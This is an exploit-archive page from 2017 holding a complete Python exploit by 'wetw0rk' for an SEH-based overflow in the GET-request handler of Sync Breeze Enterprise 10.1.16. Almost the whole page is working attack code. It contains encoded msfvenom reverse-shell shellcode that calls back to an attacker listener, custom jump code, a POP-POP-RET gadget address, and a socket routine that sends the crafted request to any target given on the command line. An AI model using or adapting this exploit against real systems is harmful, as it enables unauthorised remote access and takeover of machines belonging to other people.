Exploit the possiblities

Sync Breeze Enterprise 10.1.16 SEH Overflow

Sync Breeze Enterprise 10.1.16 SEH Overflow
Posted Oct 12, 2017
Authored by wetw0rk

Sync Breeze Enterprise version 10.1.16 GET request SEH overflow exploit.

tags | exploit, overflow
MD5 | 7a8b6d116bd658a23c1459d137a8d833

Sync Breeze Enterprise 10.1.16 SEH Overflow

Change Mirror Download
#!/usr/bin/env python
#
# Exploit Title : Sync Breeze Enterprise v10.1.16 0day
# Date : 10/11/2017
# Vendor HomePage : http://www.syncbreeze.com
# Exploit Author : Milton Valencia (wetw0rk)
# Software : http://www.syncbreeze.com/downloads.html
# Version : 10.1.16
# Tested on : Windows 7 (x86)
#
# Description : Sync Breeze Enterprise 10.1.16 suffers from a SEH based
# vulnerability. Successful exploitation results in remote
# access.
#
# Special Greetz : Corelan, Offsec, Abatchy (top llama), Seamus, N4ss4r
# Ryan, Miguel (best boss..), everyone at https://netsecfocus.slack.com/
#

import sys, socket, struct

try:
host = sys.argv[1]
port = int(sys.argv[2])

except IndexError:

print "Usage: %s <target> <port>" % sys.argv[0]
print "Example: %s 192.168.0.16 80" % sys.argv[0]
sys.exit(0)

print "[->] Attacking %s:%d get that handler up" % (host,port)

# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.16 LPORT=443
# -e x86/alpha_upper -b "\x00\x0a\x0d" -f c
shellcode = (
"\x89\xe3\xda\xdf\xd9\x73\xf4\x5e\x56\x59\x49\x49\x49\x49\x43"
"\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58\x34"
"\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41\x41"
"\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58"
"\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x5a\x48\x4c\x42\x33\x30"
"\x35\x50\x53\x30\x33\x50\x4b\x39\x4a\x45\x46\x51\x39\x50\x35"
"\x34\x4c\x4b\x30\x50\x46\x50\x4c\x4b\x46\x32\x44\x4c\x4c\x4b"
"\x36\x32\x42\x34\x4c\x4b\x53\x42\x46\x48\x54\x4f\x4e\x57\x30"
"\x4a\x56\x46\x56\x51\x4b\x4f\x4e\x4c\x37\x4c\x55\x31\x43\x4c"
"\x34\x42\x36\x4c\x47\x50\x59\x51\x58\x4f\x44\x4d\x43\x31\x38"
"\x47\x4d\x32\x5a\x52\x50\x52\x46\x37\x4c\x4b\x30\x52\x42\x30"
"\x4c\x4b\x31\x5a\x37\x4c\x4c\x4b\x50\x4c\x54\x51\x54\x38\x4b"
"\x53\x30\x48\x55\x51\x38\x51\x50\x51\x4c\x4b\x51\x49\x37\x50"
"\x35\x51\x59\x43\x4c\x4b\x50\x49\x54\x58\x4b\x53\x57\x4a\x30"
"\x49\x4c\x4b\x46\x54\x4c\x4b\x53\x31\x59\x46\x50\x31\x4b\x4f"
"\x4e\x4c\x59\x51\x48\x4f\x34\x4d\x45\x51\x38\x47\x57\x48\x4b"
"\x50\x53\x45\x5a\x56\x43\x33\x53\x4d\x4c\x38\x47\x4b\x43\x4d"
"\x46\x44\x53\x45\x4a\x44\x36\x38\x4c\x4b\x31\x48\x46\x44\x35"
"\x51\x4e\x33\x52\x46\x4c\x4b\x44\x4c\x50\x4b\x4c\x4b\x50\x58"
"\x45\x4c\x33\x31\x48\x53\x4c\x4b\x44\x44\x4c\x4b\x43\x31\x58"
"\x50\x4c\x49\x50\x44\x36\x44\x36\x44\x51\x4b\x51\x4b\x35\x31"
"\x31\x49\x31\x4a\x36\x31\x4b\x4f\x4d\x30\x31\x4f\x51\x4f\x31"
"\x4a\x4c\x4b\x55\x42\x5a\x4b\x4c\x4d\x31\x4d\x32\x48\x46\x53"
"\x50\x32\x53\x30\x35\x50\x33\x58\x34\x37\x34\x33\x30\x32\x31"
"\x4f\x56\x34\x53\x58\x50\x4c\x33\x47\x46\x46\x45\x57\x4b\x4f"
"\x39\x45\x38\x38\x5a\x30\x35\x51\x45\x50\x35\x50\x36\x49\x49"
"\x54\x46\x34\x46\x30\x35\x38\x37\x59\x4d\x50\x42\x4b\x33\x30"
"\x4b\x4f\x59\x45\x56\x30\x56\x30\x30\x50\x36\x30\x47\x30\x36"
"\x30\x57\x30\x46\x30\x42\x48\x5a\x4a\x44\x4f\x39\x4f\x4d\x30"
"\x4b\x4f\x4e\x35\x5a\x37\x43\x5a\x44\x45\x32\x48\x39\x50\x4f"
"\x58\x45\x50\x42\x30\x32\x48\x43\x32\x43\x30\x45\x51\x4f\x4b"
"\x4d\x59\x4a\x46\x43\x5a\x32\x30\x31\x46\x51\x47\x43\x58\x4d"
"\x49\x4e\x45\x54\x34\x33\x51\x4b\x4f\x48\x55\x4d\x55\x49\x50"
"\x54\x34\x34\x4c\x4b\x4f\x50\x4e\x55\x58\x43\x45\x4a\x4c\x33"
"\x58\x4c\x30\x38\x35\x4e\x42\x31\x46\x4b\x4f\x49\x45\x43\x58"
"\x55\x33\x52\x4d\x33\x54\x35\x50\x4d\x59\x5a\x43\x46\x37\x30"
"\x57\x51\x47\x50\x31\x5a\x56\x32\x4a\x52\x32\x51\x49\x36\x36"
"\x4d\x32\x4b\x4d\x52\x46\x4f\x37\x51\x54\x31\x34\x37\x4c\x33"
"\x31\x55\x51\x4c\x4d\x50\x44\x31\x34\x42\x30\x58\x46\x33\x30"
"\x47\x34\x31\x44\x46\x30\x31\x46\x56\x36\x46\x36\x51\x56\x46"
"\x36\x50\x4e\x50\x56\x56\x36\x31\x43\x30\x56\x53\x58\x32\x59"
"\x58\x4c\x47\x4f\x4b\x36\x4b\x4f\x4e\x35\x4c\x49\x4b\x50\x30"
"\x4e\x46\x36\x50\x46\x4b\x4f\x36\x50\x42\x48\x53\x38\x4b\x37"
"\x35\x4d\x45\x30\x4b\x4f\x59\x45\x4f\x4b\x4c\x30\x38\x35\x4f"
"\x52\x56\x36\x33\x58\x4f\x56\x4a\x35\x4f\x4d\x4d\x4d\x4b\x4f"
"\x48\x55\x57\x4c\x34\x46\x33\x4c\x34\x4a\x4d\x50\x4b\x4b\x4d"
"\x30\x44\x35\x33\x35\x4f\x4b\x51\x57\x34\x53\x42\x52\x42\x4f"
"\x53\x5a\x35\x50\x46\x33\x4b\x4f\x48\x55\x41\x41"
)

# objdump2shellcode -d shellcode -f python -c -v jumpcode
jumpcode = ""
jumpcode += "\x25\x4a\x4d\x4e\x55" # and eax,0x554e4d4a
jumpcode += "\x25\x35\x32\x31\x2a" # and eax,0x2a313235
jumpcode += "\x2d\x37\x37\x37\x37" # sub eax,0x37373737
jumpcode += "\x2d\x74\x74\x74\x74" # sub eax,0x74747474
jumpcode += "\x2d\x55\x54\x55\x70" # sub eax,0x70555455
jumpcode += "\x50" # push eax
jumpcode += "\x25\x4a\x4d\x4e\x55" # and eax,0x554e4d4a
jumpcode += "\x25\x35\x32\x31\x2a" # and eax,0x2a313235
jumpcode += "\x2d\x2d\x76\x7a\x63" # sub eax,0x637a762d
jumpcode += "\x2d\x2d\x76\x7a\x30" # sub eax,0x307a762d
jumpcode += "\x2d\x25\x50\x7a\x30" # sub eax,0x307a5025
jumpcode += "\x50" # push eax
jumpcode += "\xff\xe4" # jmp esp

offset = "A" * (2495-len(shellcode)) # offset to nSEH
nSEH = "\x74\x06\x75\x06" # JE/JNZ -> jumpcode
SEH = struct.pack('<L', 0x1001C65C) # POP,POP,RET (libspp.dll)
trigger = "D" * (9067 - len(
jumpcode +
offset +
nSEH +
SEH
)
)

buffer = shellcode + offset + nSEH + SEH + jumpcode + trigger

vulnREQ = "GET /%s HTTP/1.1\r\n\r\n" % (buffer)
print "[->] sending poisonous bamboo"
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, port))
sock.send(vulnREQ)

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